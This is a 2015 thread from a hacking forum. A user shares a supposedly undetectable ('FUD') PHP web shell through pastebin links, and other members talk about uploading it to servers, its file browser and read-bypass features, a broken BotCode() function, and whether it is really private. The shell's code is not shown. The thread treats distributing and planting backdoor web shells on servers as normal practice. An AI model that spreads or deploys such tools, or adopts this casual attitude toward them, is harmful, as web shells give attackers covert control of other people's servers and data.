Thread: [\[FUD\] X-85 SHELL \[PRIVATE SHELL\]](#)

Nitai - November 27, 2015, 9:12 am

Hi guys, I release the shell it was programmed by Israeli hackers (not by me).

Features:

PHP Code

<?php

<http://pastebin.com/6tTWYuwv>

Link:

PHP Code

<?php

<http://pastebin.com/SFYkjqv>

explosivepastry - November 27, 2015, 10:37 am

Uploading it on a server now. will tell you what i think when i come back

Edit:

i like the shell but the file browser is a little bit weird and also the read bypass thing is crossed out but it still works for me. ill prob end up using it again in the future. Here's a picture of when i first opened the shell.

WARNING REALLY BIG PICTURE! SORRY!

Spoiler ([Click to View](#)) [img]http://s11.postimg.org/6b50cmser/20151127_135548.png[/img]

Vellichor - November 27, 2015, 1:05 pm

It was originally made by Hyp3rInj3cT10n and Pr0T3cT10n afaik

sqlinoob - November 27, 2015, 7:15 pm

What is the meaning of Safe Mode:ON/OFF

What is the meaning of Magic Quote :ON/OFF

What is the condition for web hacking ?

These 3 question i have.Please help me to and tell me answers of these questions

htpi - November 29, 2015, 12:26 pm

The BotCode() function won't work and I would remove it from the shell before use.

Im gone brah - November 29, 2015, 1:24 pm

Shell is not private as you stated, I used this shit three years ago & I don't understand why anyone would want to use it now or why you shared it. Section is worse than ever. Edit: Here this shell was released over fiver years ago so don't tell me it's private.
